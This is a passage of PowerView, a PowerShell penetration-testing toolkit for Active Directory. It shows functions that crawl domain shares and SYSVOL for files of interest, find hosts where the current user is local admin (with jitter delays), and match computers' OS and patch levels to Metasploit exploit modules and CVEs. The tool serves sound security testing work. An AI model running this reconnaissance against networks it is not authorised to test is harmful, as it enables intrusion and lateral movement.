11424 # if there's a set of terms specified to search for
11425 if ($TermList) {
11426 ForEach ($Term in Get-Content -Path $TermList) {
11427 if (($Term -ne $Null) -and ($Term.trim() -ne '')) {
11428 $SearchTerms += $Term
11429 }
11430 }
11431 }
11432
11433 # if we're hard-passed a set of shares
11434 if($ShareList) {
11435 ForEach ($Item in Get-Content -Path $ShareList) {
11436 if (($Item -ne $Null) -and ($Item.trim() -ne '')) {
11437 # exclude any "[tab]- commants", i.e. the output from Invoke-ShareFinder
11438 $Share = $Item.Split("`t")[0]
11439 $Shares += $Share
11440 }
11441 }
11442 }
11443 else {
11444 # if we're using a host file list, read the targets in and add them to the target list
11445 if($ComputerFile) {
11446 $ComputerName = Get-Content -Path $ComputerFile
11447 }
11448
11449 if(!$ComputerName) {
11450
11451 if($Domain) {
11452 $TargetDomains = @($Domain)
11453 }
11454 elseif($SearchForest) {
11455 # get ALL the domains in the forest to search
11456 $TargetDomains = Get-NetForestDomain | ForEach-Object { $_.Name }
11457 }
11458 else {
11459 # use the local domain
11460 $TargetDomains = @( (Get-NetDomain).name )
11461 }
11462
11463 if($SearchSYSVOL) {
11464 ForEach ($Domain in $TargetDomains) {
11465 $DCSearchPath = "\\$Domain\SYSVOL\"
11466 Write-Verbose "[*] Adding share search path $DCSearchPath"
11467 $Shares += $DCSearchPath
11468 }
11469 if(!$SearchTerms) {
11470 # search for interesting scripts on SYSVOL
11471 $SearchTerms = @('.vbs', '.bat', '.ps1')
11472 }
11473 }
11474 else {
11475 [array]$ComputerName = @()
11476
11477 ForEach ($Domain in $TargetDomains) {
11478 Write-Verbose "[*] Querying domain $Domain for hosts"
11479 $ComputerName += Get-NetComputer -Filter $ComputerFilter -ADSpath $ComputerADSpath -Domain $Domain -DomainController $DomainController
11480 }
11481
11482 # remove any null target hosts, uniquify the list and shuffle it
11483 $ComputerName = $ComputerName | Where-Object { $_ } | Sort-Object -Unique | Sort-Object { Get-Random }
11484 if($($ComputerName.Count) -eq 0) {
11485 throw "No hosts found!"
11486 }
11487 }
11488 }
11489 }
11490
11491 # script block that enumerates shares and files on a server
11492 $HostEnumBlock = {
11493 param($ComputerName, $Ping, $ExcludedShares, $SearchTerms, $ExcludeFolders, $OfficeDocs, $ExcludeHidden, $FreshEXEs, $CheckWriteAccess, $OutFile, $UsePSDrive)
11494
11495 Write-Verbose "ComputerName: $ComputerName"
11496 Write-Verbose "ExcludedShares: $ExcludedShares"
11497 $SearchShares = @()
11498
11499 if($ComputerName.StartsWith("\\")) {
11500 # if a share is passed as the server
11501 $SearchShares += $ComputerName
11502 }
11503 else {
11504 # if we're enumerating the shares on the target server first
11505 $Up = $True
11506 if($Ping) {
11507 $Up = Test-Connection -Count 1 -Quiet -ComputerName $ComputerName
11508 }
11509 if($Up) {
11510 # get the shares for this host and display what we find
11511 $Shares = Get-NetShare -ComputerName $ComputerName
11512 ForEach ($Share in $Shares) {
11513
11514 $NetName = $Share.shi1_netname
11515 $Path = '\\'+$ComputerName+'\'+$NetName
11516
11517 # make sure we get a real share name back
11518 if (($NetName) -and ($NetName.trim() -ne '')) {
11519
11520 # skip this share if it's in the exclude list
11521 if ($ExcludedShares -NotContains $NetName.ToUpper()) {
11522 # check if the user has access to this path
11523 try {
11524 $Null = [IO.Directory]::GetFiles($Path)
11525 $SearchShares += $Path
11526 }
11527 catch {
11528 Write-Verbose "[!] No access to $Path"
11529 }
11530 }
11531 }
11532 }
11533 }
11534 }
11535
11536 ForEach($Share in $SearchShares) {
11537 $SearchArgs = @{
11538 'Path' = $Share
11539 'SearchTerms' = $SearchTerms
11540 'OfficeDocs' = $OfficeDocs
11541 'FreshEXEs' = $FreshEXEs
11542 'LastAccessTime' = $LastAccessTime
11543 'LastWriteTime' = $LastWriteTime
11544 'CreationTime' = $CreationTime
11545 'ExcludeFolders' = $ExcludeFolders
11546 'ExcludeHidden' = $ExcludeHidden
11547 'CheckWriteAccess' = $CheckWriteAccess
11548 'OutFile' = $OutFile
11549 'UsePSDrive' = $UsePSDrive
11550 }
11551
11552 Find-InterestingFile @SearchArgs
11553 }
11554 }
11555 }
11556
11557 process {
11558
11559 if($Threads) {
11560 Write-Verbose "Using threading with threads = $Threads"
11561
11562 # if we're using threading, kick off the script block with Invoke-ThreadedFunction
11563 $ScriptParams = @{
11564 'Ping' = $(-not $NoPing)
11565 'ExcludedShares' = $ExcludedShares
11566 'SearchTerms' = $SearchTerms
11567 'ExcludeFolders' = $ExcludeFolders
11568 'OfficeDocs' = $OfficeDocs
11569 'ExcludeHidden' = $ExcludeHidden
11570 'FreshEXEs' = $FreshEXEs
11571 'CheckWriteAccess' = $CheckWriteAccess
11572 'OutFile' = $OutFile
11573 'UsePSDrive' = $UsePSDrive
11574 }
11575
11576 # kick off the threaded script block + arguments
11577 if($Shares) {
11578 # pass the shares as the hosts so the threaded function code doesn't have to be hacked up
11579 Invoke-ThreadedFunction -ComputerName $Shares -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads
11580 }
11581 else {
11582 Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads
11583 }
11584 }
11585
11586 else {
11587 if($Shares){
11588 $ComputerName = $Shares
11589 }
11590 elseif(-not $NoPing -and ($ComputerName.count -gt 1)) {
11591 # ping all hosts in parallel
11592 $Ping = {param($ComputerName) if(Test-Connection -ComputerName $ComputerName -Count 1 -Quiet -ErrorAction Stop){$ComputerName}}
11593 $ComputerName = Invoke-ThreadedFunction -NoImports -ComputerName $ComputerName -ScriptBlock $Ping -Threads 100
11594 }
11595
11596 Write-Verbose "[*] Total number of active hosts: $($ComputerName.count)"
11597 $Counter = 0
11598
11599 $ComputerName | Where-Object {$_} | ForEach-Object {
11600 Write-Verbose "Computer: $_"
11601 $Counter = $Counter + 1
11602
11603 # sleep for our semi-randomized interval
11604 Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay)
11605
11606 Write-Verbose "[*] Enumerating server $_ ($Counter of $($ComputerName.count))"
11607
11608 Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $_, $False, $ExcludedShares, $SearchTerms, $ExcludeFolders, $OfficeDocs, $ExcludeHidden, $FreshEXEs, $CheckWriteAccess, $OutFile, $UsePSDrive
11609 }
11610 }
11611 }
11612}
11613
11614
11615function Find-LocalAdminAccess {
11616<#
11617 .SYNOPSIS
11618
11619 Finds machines on the local domain where the current user has
11620 local administrator access. Uses multithreading to
11621 speed up enumeration.
11622
11623 Author: @harmj0y
11624 License: BSD 3-Clause
11625
11626 .DESCRIPTION
11627
11628 This function finds the local domain name for a host using Get-NetDomain,
11629 queries the domain for all active machines with Get-NetComputer, then for
11630 each server it checks if the current user has local administrator
11631 access using Invoke-CheckLocalAdminAccess.
11632
11633 Idea stolen from the local_admin_search_enum post module in
11634 Metasploit written by:
11635 'Brandon McCann "zeknox" <bmccann[at]accuvant.com>'
11636 'Thomas McCarthy "smilingraccoon" <smilingraccoon[at]gmail.com>'
11637 'Royce Davis "r3dy" <rdavis[at]accuvant.com>'
11638
11639 .PARAMETER ComputerName
11640
11641 Host array to enumerate, passable on the pipeline.
11642
11643 .PARAMETER ComputerFile
11644
11645 File of hostnames/IPs to search.
11646
11647 .PARAMETER ComputerFilter
11648
11649 Host filter name to query AD for, wildcards accepted.
11650
11651 .PARAMETER ComputerADSpath
11652
11653 The LDAP source to search through for hosts, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
11654 Useful for OU queries.
11655
11656 .PARAMETER NoPing
11657
11658 Switch. Don't ping each host to ensure it's up before enumerating.
11659
11660 .PARAMETER Delay
11661
11662 Delay between enumerating hosts, defaults to 0
11663
11664 .PARAMETER Jitter
11665
11666 Jitter for the host delay, defaults to +/- 0.3
11667
11668 .PARAMETER Domain
11669
11670 Domain to query for machines, defaults to the current domain.
11671
11672 .PARAMETER DomainController
11673
11674 Domain controller to reflect LDAP queries through.
11675
11676 .PARAMETER SearchForest
11677
11678 Switch. Search all domains in the forest for target users instead of just
11679 a single domain.
11680
11681 .PARAMETER Threads
11682
11683 The maximum concurrent threads to execute.
11684
11685 .EXAMPLE
11686
11687 PS C:\> Find-LocalAdminAccess
11688
11689 Find machines on the local domain where the current user has local
11690 administrator access.
11691
11692 .EXAMPLE
11693
11694 PS C:\> Find-LocalAdminAccess -Threads 10
11695
11696 Multi-threaded access hunting, replaces Find-LocalAdminAccessThreaded.
11697
11698 .EXAMPLE
11699
11700 PS C:\> Find-LocalAdminAccess -Domain testing
11701
11702 Find machines on the 'testing' domain where the current user has
11703 local administrator access.
11704
11705 .EXAMPLE
11706
11707 PS C:\> Find-LocalAdminAccess -ComputerFile hosts.txt
11708
11709 Find which machines in the host list the current user has local
11710 administrator access.
11711
11712 .LINK
11713
11714 https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/local_admin_search_enum.rb
11715 http://www.harmj0y.net/blog/penetesting/finding-local-admin-with-the-veil-framework/
11716#>
11717
11718 [CmdletBinding()]
11719 param(
11720 [Parameter(Position=0,ValueFromPipeline=$True)]
11721 [Alias('Hosts')]
11722 [String[]]
11723 $ComputerName,
11724
11725 [ValidateScript({Test-Path -Path $_ })]
11726 [Alias('HostList')]
11727 [String]
11728 $ComputerFile,
11729
11730 [String]
11731 $ComputerFilter,
11732
11733 [String]
11734 $ComputerADSpath,
11735
11736 [Switch]
11737 $NoPing,
11738
11739 [UInt32]
11740 $Delay = 0,
11741
11742 [Double]
11743 $Jitter = .3,
11744
11745 [String]
11746 $Domain,
11747
11748 [String]
11749 $DomainController,
11750
11751 [Switch]
11752 $SearchForest,
11753
11754 [ValidateRange(1,100)]
11755 [Int]
11756 $Threads
11757 )
11758
11759 begin {
11760 if ($PSBoundParameters['Debug']) {
11761 $DebugPreference = 'Continue'
11762 }
11763
11764 # random object for delay
11765 $RandNo = New-Object System.Random
11766
11767 Write-Verbose "[*] Running Find-LocalAdminAccess with delay of $Delay"
11768
11769 # if we're using a host list, read the targets in and add them to the target list
11770 if($ComputerFile) {
11771 $ComputerName = Get-Content -Path $ComputerFile
11772 }
11773
11774 if(!$ComputerName) {
11775 [array]$ComputerName = @()
11776
11777 if($Domain) {
11778 $TargetDomains = @($Domain)
11779 }
11780 elseif($SearchForest) {
11781 # get ALL the domains in the forest to search
11782 $TargetDomains = Get-NetForestDomain | ForEach-Object { $_.Name }
11783 }
11784 else {
11785 # use the local domain
11786 $TargetDomains = @( (Get-NetDomain).name )
11787 }
11788
11789 ForEach ($Domain in $TargetDomains) {
11790 Write-Verbose "[*] Querying domain $Domain for hosts"
11791 $ComputerName += Get-NetComputer -Filter $ComputerFilter -ADSpath $ComputerADSpath -Domain $Domain -DomainController $DomainController
11792 }
11793
11794 # remove any null target hosts, uniquify the list and shuffle it
11795 $ComputerName = $ComputerName | Where-Object { $_ } | Sort-Object -Unique | Sort-Object { Get-Random }
11796 if($($ComputerName.Count) -eq 0) {
11797 throw "No hosts found!"
11798 }
11799 }
11800
11801 # script block that enumerates a server
11802 $HostEnumBlock = {
11803 param($ComputerName, $Ping)
11804
11805 $Up = $True
11806 if($Ping) {
11807 $Up = Test-Connection -Count 1 -Quiet -ComputerName $ComputerName
11808 }
11809 if($Up) {
11810 # check if the current user has local admin access to this server
11811 $Access = Invoke-CheckLocalAdminAccess -ComputerName $ComputerName
11812 if ($Access.IsAdmin) {
11813 $ComputerName
11814 }
11815 }
11816 }
11817
11818 }
11819
11820 process {
11821
11822 if($Threads) {
11823 Write-Verbose "Using threading with threads = $Threads"
11824
11825 # if we're using threading, kick off the script block with Invoke-ThreadedFunction
11826 $ScriptParams = @{
11827 'Ping' = $(-not $NoPing)
11828 }
11829
11830 # kick off the threaded script block + arguments
11831 Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads
11832 }
11833
11834 else {
11835 if(-not $NoPing -and ($ComputerName.count -ne 1)) {
11836 # ping all hosts in parallel
11837 $Ping = {param($ComputerName) if(Test-Connection -ComputerName $ComputerName -Count 1 -Quiet -ErrorAction Stop){$ComputerName}}
11838 $ComputerName = Invoke-ThreadedFunction -NoImports -ComputerName $ComputerName -ScriptBlock $Ping -Threads 100
11839 }
11840
11841 Write-Verbose "[*] Total number of active hosts: $($ComputerName.count)"
11842 $Counter = 0
11843
11844 ForEach ($Computer in $ComputerName) {
11845
11846 $Counter = $Counter + 1
11847
11848 # sleep for our semi-randomized interval
11849 Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay)
11850
11851 Write-Verbose "[*] Enumerating server $Computer ($Counter of $($ComputerName.count))"
11852 Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $Computer, $False
11853 }
11854 }
11855 }
11856}
11857
11858
11859function Get-ExploitableSystem {
11860<#
11861 .Synopsis
11862
11863 This module will query Active Directory for the hostname, OS version, and service pack level
11864 for each computer account. That information is then cross-referenced against a list of common
11865 Metasploit exploits that can be used during penetration testing.
11866
11867 .DESCRIPTION
11868
11869 This module will query Active Directory for the hostname, OS version, and service pack level
11870 for each computer account. That information is then cross-referenced against a list of common
11871 Metasploit exploits that can be used during penetration testing. The script filters out disabled
11872 domain computers and provides the computer's last logon time to help determine if it's been
11873 decommissioned. Also, since the script uses data tables to output affected systems the results
11874 can be easily piped to other commands such as test-connection or a Export-Csv.
11875
11876 .PARAMETER ComputerName
11877
11878 Return computers with a specific name, wildcards accepted.
11879
11880 .PARAMETER SPN
11881
11882 Return computers with a specific service principal name, wildcards accepted.
11883
11884 .PARAMETER OperatingSystem
11885
11886 Return computers with a specific operating system, wildcards accepted.
11887
11888 .PARAMETER ServicePack
11889
11890 Return computers with a specific service pack, wildcards accepted.
11891
11892 .PARAMETER Filter
11893
11894 A customized ldap filter string to use, e.g. "(description=*admin*)"
11895
11896 .PARAMETER Ping
11897
11898 Switch. Ping each host to ensure it's up before enumerating.
11899
11900 .PARAMETER Domain
11901
11902 The domain to query for computers, defaults to the current domain.
11903
11904 .PARAMETER DomainController
11905
11906 Domain controller to reflect LDAP queries through.
11907
11908 .PARAMETER ADSpath
11909
11910 The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
11911 Useful for OU queries.
11912
11913 .PARAMETER Unconstrained
11914
11915 Switch. Return computer objects that have unconstrained delegation.
11916
11917 .PARAMETER PageSize
11918
11919 The PageSize to set for the LDAP searcher object.
11920
11921 .PARAMETER Credential
11922
11923 A [Management.Automation.PSCredential] object of alternate credentials
11924 for connection to the target domain.
11925
11926 .EXAMPLE
11927
11928 The example below shows the standard command usage. Disabled system are excluded by default, but
11929 the "LastLgon" column can be used to determine which systems are live. Usually, if a system hasn't
11930 logged on for two or more weeks it's been decommissioned.
11931 PS C:\> Get-ExploitableSystem -DomainController 192.168.1.1 -Credential demo.com\user | Format-Table -AutoSize
11932 [*] Grabbing computer accounts from Active Directory...
11933 [*] Loading exploit list for critical missing patches...
11934 [*] Checking computers for vulnerable OS and SP levels...
11935 [+] Found 5 potentially vulnerable systems!
11936 ComputerName OperatingSystem ServicePack LastLogon MsfModule CVE
11937 ------------ --------------- ----------- --------- --------- ---
11938 ADS.demo.com Windows Server 2003 Service Pack 2 4/8/2015 5:46:52 PM exploit/windows/dcerpc/ms07_029_msdns_zonename http://www.cvedetails....
11939 ADS.demo.com Windows Server 2003 Service Pack 2 4/8/2015 5:46:52 PM exploit/windows/smb/ms08_067_netapi http://www.cvedetails....
11940 ADS.demo.com Windows Server 2003 Service Pack 2 4/8/2015 5:46:52 PM exploit/windows/smb/ms10_061_spoolss http://www.cvedetails....
11941 LVA.demo.com Windows Server 2003 Service Pack 2 4/8/2015 1:44:46 PM exploit/windows/dcerpc/ms07_029_msdns_zonename http://www.cvedetails....
11942 LVA.demo.com Windows Server 2003 Service Pack 2 4/8/2015 1:44:46 PM exploit/windows/smb/ms08_067_netapi http://www.cvedetails....
11943 LVA.demo.com Windows Server 2003 Service Pack 2 4/8/2015 1:44:46 PM exploit/windows/smb/ms10_061_spoolss http://www.cvedetails....
11944 assess-xppro.demo.com Windows XP Professional Service Pack 3 4/1/2014 11:11:54 AM exploit/windows/smb/ms08_067_netapi http://www.cvedetails....
11945 assess-xppro.demo.com Windows XP Professional Service Pack 3 4/1/2014 11:11:54 AM exploit/windows/smb/ms10_061_spoolss http://www.cvedetails....
11946 HVA.demo.com Windows Server 2003 Service Pack 2 11/5/2013 9:16:31 PM exploit/windows/dcerpc/ms07_029_msdns_zonename http://www.cvedetails....
11947 HVA.demo.com Windows Server 2003 Service Pack 2 11/5/2013 9:16:31 PM exploit/windows/smb/ms08_067_netapi http://www.cvedetails....
11948 HVA.demo.com Windows Server 2003 Service Pack 2 11/5/2013 9:16:31 PM exploit/windows/smb/ms10_061_spoolss http://www.cvedetails....
11949 DB1.demo.com Windows Server 2003 Service Pack 2 3/22/2012 5:05:34 PM exploit/windows/dcerpc/ms07_029_msdns_zonename http://www.cvedetails....
11950 DB1.demo.com Windows Server 2003 Service Pack 2 3/22/2012 5:05:34 PM exploit/windows/smb/ms08_067_netapi http://www.cvedetails....
11951 DB1.demo.com Windows Server 2003 Service Pack 2 3/22/2012 5:05:34 PM exploit/windows/smb/ms10_061_spoolss http://www.cvedetails....
11952
11953 .EXAMPLE
11954
11955 PS C:\> Get-ExploitableSystem | Export-Csv c:\temp\output.csv -NoTypeInformation
11956
11957 How to write the output to a csv file.
11958
11959 .EXAMPLE
11960
11961 PS C:\> Get-ExploitableSystem -Domain testlab.local -Ping
11962
11963 Return a set of live hosts from the testlab.local domain
11964
11965 .LINK
11966
11967 http://www.netspi.com
11968 https://github.com/nullbind/Powershellery/blob/master/Stable-ish/ADS/Get-ExploitableSystems.psm1
11969
11970 .NOTES
11971
11972 Author: Scott Sutherland - 2015, NetSPI
11973 Modifications to integrate into PowerView by @harmj0y
11974 Version: Get-ExploitableSystem.psm1 v1.1
11975 Comments: The technique used to query LDAP was based on the "Get-AuditDSComputerAccount"
11976 function found in Carols Perez's PoshSec-Mod project. The general idea is based off of
11977 Will Schroeder's "Invoke-FindVulnSystems" function from the PowerView toolkit.
11978#>
11979 [CmdletBinding()]
11980 Param(
11981 [Parameter(ValueFromPipeline=$True)]
11982 [Alias('HostName')]
11983 [String]
11984 $ComputerName = '*',
11985
11986 [String]
11987 $SPN,
11988
11989 [String]
11990 $OperatingSystem = '*',
11991
11992 [String]
11993 $ServicePack = '*',
11994
11995 [String]
11996 $Filter,
11997
11998 [Switch]
11999 $Ping,
12000
12001 [String]
12002 $Domain,
12003
12004 [String]
12005 $DomainController,
12006
12007 [String]
12008 $ADSpath,
12009
12010 [Switch]
12011 $Unconstrained,
12012
12013 [ValidateRange(1,10000)]
12014 [Int]
12015 $PageSize = 200,
12016
12017 [Management.Automation.PSCredential]
12018 $Credential
12019 )
12020
12021 Write-Verbose "[*] Grabbing computer accounts from Active Directory..."
12022
12023 # Create data table for hostnames, os, and service packs from LDAP
12024 $TableAdsComputers = New-Object System.Data.DataTable
12025 $Null = $TableAdsComputers.Columns.Add('Hostname')
12026 $Null = $TableAdsComputers.Columns.Add('OperatingSystem')
12027 $Null = $TableAdsComputers.Columns.Add('ServicePack')
12028 $Null = $TableAdsComputers.Columns.Add('LastLogon')
12029
12030 Get-NetComputer -FullData @PSBoundParameters | ForEach-Object {
12031
12032 $CurrentHost = $_.dnshostname
12033 $CurrentOs = $_.operatingsystem
12034 $CurrentSp = $_.operatingsystemservicepack
12035 $CurrentLast = $_.lastlogon
12036 $CurrentUac = $_.useraccountcontrol
12037
12038 $CurrentUacBin = [convert]::ToString($_.useraccountcontrol,2)
12039
12040 # Check the 2nd to last value to determine if its disabled
12041 $DisableOffset = $CurrentUacBin.Length - 2
12042 $CurrentDisabled = $CurrentUacBin.Substring($DisableOffset,1)
12043
12044 # Add computer to list if it's enabled
12045 if ($CurrentDisabled -eq 0) {
12046 # Add domain computer to data table
12047 $Null = $TableAdsComputers.Rows.Add($CurrentHost,$CurrentOS,$CurrentSP,$CurrentLast)
12048 }
12049 }
12050
12051 # Status user
12052 Write-Verbose "[*] Loading exploit list for critical missing patches..."
12053
12054 # ----------------------------------------------------------------
12055 # Setup data table for list of msf exploits
12056 # ----------------------------------------------------------------
12057
12058 # Create data table for list of patches levels with a MSF exploit
12059 $TableExploits = New-Object System.Data.DataTable
12060 $Null = $TableExploits.Columns.Add('OperatingSystem')
12061 $Null = $TableExploits.Columns.Add('ServicePack')
12062 $Null = $TableExploits.Columns.Add('MsfModule')
12063 $Null = $TableExploits.Columns.Add('CVE')
12064
12065 # Add exploits to data table
12066 $Null = $TableExploits.Rows.Add("Windows 7","","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729")
12067 $Null = $TableExploits.Rows.Add("Windows Server 2000","Server Pack 1","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/")
12068 $Null = $TableExploits.Rows.Add("Windows Server 2000","Server Pack 1","exploit/windows/dcerpc/ms05_017_msmq","http://www.cvedetails.com/cve/2005-0059")
12069 $Null = $TableExploits.Rows.Add("Windows Server 2000","Server Pack 1","exploit/windows/iis/ms03_007_ntdll_webdav","http://www.cvedetails.com/cve/2003-0109")
12070 $Null = $TableExploits.Rows.Add("Windows Server 2000","Server Pack 1","exploit/windows/wins/ms04_045_wins","http://www.cvedetails.com/cve/2004-1080/")
12071 $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 2","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/")
12072 $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 2","exploit/windows/dcerpc/ms05_017_msmq","http://www.cvedetails.com/cve/2005-0059")
12073 $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 2","exploit/windows/iis/ms03_007_ntdll_webdav","http://www.cvedetails.com/cve/2003-0109")
12074 $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 2","exploit/windows/smb/ms04_011_lsass","http://www.cvedetails.com/cve/2003-0533/")
12075 $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 2","exploit/windows/wins/ms04_045_wins","http://www.cvedetails.com/cve/2004-1080/")
12076 $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 3","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/")
12077 $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 3","exploit/windows/dcerpc/ms05_017_msmq","http://www.cvedetails.com/cve/2005-0059")
12078 $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 3","exploit/windows/iis/ms03_007_ntdll_webdav","http://www.cvedetails.com/cve/2003-0109")
12079 $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 3","exploit/windows/wins/ms04_045_wins","http://www.cvedetails.com/cve/2004-1080/")
12080 $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/")
12081 $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/dcerpc/ms05_017_msmq","http://www.cvedetails.com/cve/2005-0059")
12082 $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/dcerpc/ms07_029_msdns_zonename","http://www.cvedetails.com/cve/2007-1748")
12083 $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/smb/ms04_011_lsass","http://www.cvedetails.com/cve/2003-0533/")
12084 $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/smb/ms06_040_netapi","http://www.cvedetails.com/cve/2006-3439")
12085 $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/smb/ms06_066_nwapi","http://www.cvedetails.com/cve/2006-4688")
12086 $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/smb/ms06_070_wkssvc","http://www.cvedetails.com/cve/2006-4691")
12087 $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250")
12088 $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/wins/ms04_045_wins","http://www.cvedetails.com/cve/2004-1080/")
12089 $Null = $TableExploits.Rows.Add("Windows Server 2000","","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/")
12090 $Null = $TableExploits.Rows.Add("Windows Server 2000","","exploit/windows/dcerpc/ms05_017_msmq","http://www.cvedetails.com/cve/2005-0059")
12091 $Null = $TableExploits.Rows.Add("Windows Server 2000","","exploit/windows/iis/ms03_007_ntdll_webdav","http://www.cvedetails.com/cve/2003-0109")
12092 $Null = $TableExploits.Rows.Add("Windows Server 2000","","exploit/windows/smb/ms05_039_pnp","http://www.cvedetails.com/cve/2005-1983")
12093 $Null = $TableExploits.Rows.Add("Windows Server 2000","","exploit/windows/wins/ms04_045_wins","http://www.cvedetails.com/cve/2004-1080/")
12094 $Null = $TableExploits.Rows.Add("Windows Server 2003","Server Pack 1","exploit/windows/dcerpc/ms07_029_msdns_zonename","http://www.cvedetails.com/cve/2007-1748")
12095 $Null = $TableExploits.Rows.Add("Windows Server 2003","Server Pack 1","exploit/windows/smb/ms06_040_netapi","http://www.cvedetails.com/cve/2006-3439")
12096 $Null = $TableExploits.Rows.Add("Windows Server 2003","Server Pack 1","exploit/windows/smb/ms06_066_nwapi","http://www.cvedetails.com/cve/2006-4688")
12097 $Null = $TableExploits.Rows.Add("Windows Server 2003","Server Pack 1","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250")
12098 $Null = $TableExploits.Rows.Add("Windows Server 2003","Server Pack 1","exploit/windows/wins/ms04_045_wins","http://www.cvedetails.com/cve/2004-1080/")
12099 $Null = $TableExploits.Rows.Add("Windows Server 2003","Service Pack 2","exploit/windows/dcerpc/ms07_029_msdns_zonename","http://www.cvedetails.com/cve/2007-1748")
12100 $Null = $TableExploits.Rows.Add("Windows Server 2003","Service Pack 2","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250")
12101 $Null = $TableExploits.Rows.Add("Windows Server 2003","Service Pack 2","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729")
12102 $Null = $TableExploits.Rows.Add("Windows Server 2003","","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/")
12103 $Null = $TableExploits.Rows.Add("Windows Server 2003","","exploit/windows/smb/ms06_040_netapi","http://www.cvedetails.com/cve/2006-3439")
12104 $Null = $TableExploits.Rows.Add("Windows Server 2003","","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250")
12105 $Null = $TableExploits.Rows.Add("Windows Server 2003","","exploit/windows/wins/ms04_045_wins","http://www.cvedetails.com/cve/2004-1080/")
12106 $Null = $TableExploits.Rows.Add("Windows Server 2003 R2","","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/")
12107 $Null = $TableExploits.Rows.Add("Windows Server 2003 R2","","exploit/windows/smb/ms04_011_lsass","http://www.cvedetails.com/cve/2003-0533/")
12108 $Null = $TableExploits.Rows.Add("Windows Server 2003 R2","","exploit/windows/smb/ms06_040_netapi","http://www.cvedetails.com/cve/2006-3439")
12109 $Null = $TableExploits.Rows.Add("Windows Server 2003 R2","","exploit/windows/wins/ms04_045_wins","http://www.cvedetails.com/cve/2004-1080/")
12110 $Null = $TableExploits.Rows.Add("Windows Server 2008","Service Pack 2","exploit/windows/smb/ms09_050_smb2_negotiate_func_index","http://www.cvedetails.com/cve/2009-3103")
12111 $Null = $TableExploits.Rows.Add("Windows Server 2008","Service Pack 2","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729")
12112 $Null = $TableExploits.Rows.Add("Windows Server 2008","","exploit/windows/smb/ms09_050_smb2_negotiate_func_index","http://www.cvedetails.com/cve/2009-3103")
12113 $Null = $TableExploits.Rows.Add("Windows Server 2008","","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729")
12114 $Null = $TableExploits.Rows.Add("Windows Server 2008 R2","","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729")
12115 $Null = $TableExploits.Rows.Add("Windows Vista","Server Pack 1","exploit/windows/smb/ms09_050_smb2_negotiate_func_index","http://www.cvedetails.com/cve/2009-3103")
12116 $Null = $TableExploits.Rows.Add("Windows Vista","Server Pack 1","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729")
12117 $Null = $TableExploits.Rows.Add("Windows Vista","Service Pack 2","exploit/windows/smb/ms09_050_smb2_negotiate_func_index","http://www.cvedetails.com/cve/2009-3103")
12118 $Null = $TableExploits.Rows.Add("Windows Vista","Service Pack 2","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729")
12119 $Null = $TableExploits.Rows.Add("Windows Vista","","exploit/windows/smb/ms09_050_smb2_negotiate_func_index","http://www.cvedetails.com/cve/2009-3103")
12120 $Null = $TableExploits.Rows.Add("Windows XP","Server Pack 1","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/")
12121 $Null = $TableExploits.Rows.Add("Windows XP","Server Pack 1","exploit/windows/dcerpc/ms05_017_msmq","http://www.cvedetails.com/cve/2005-0059")
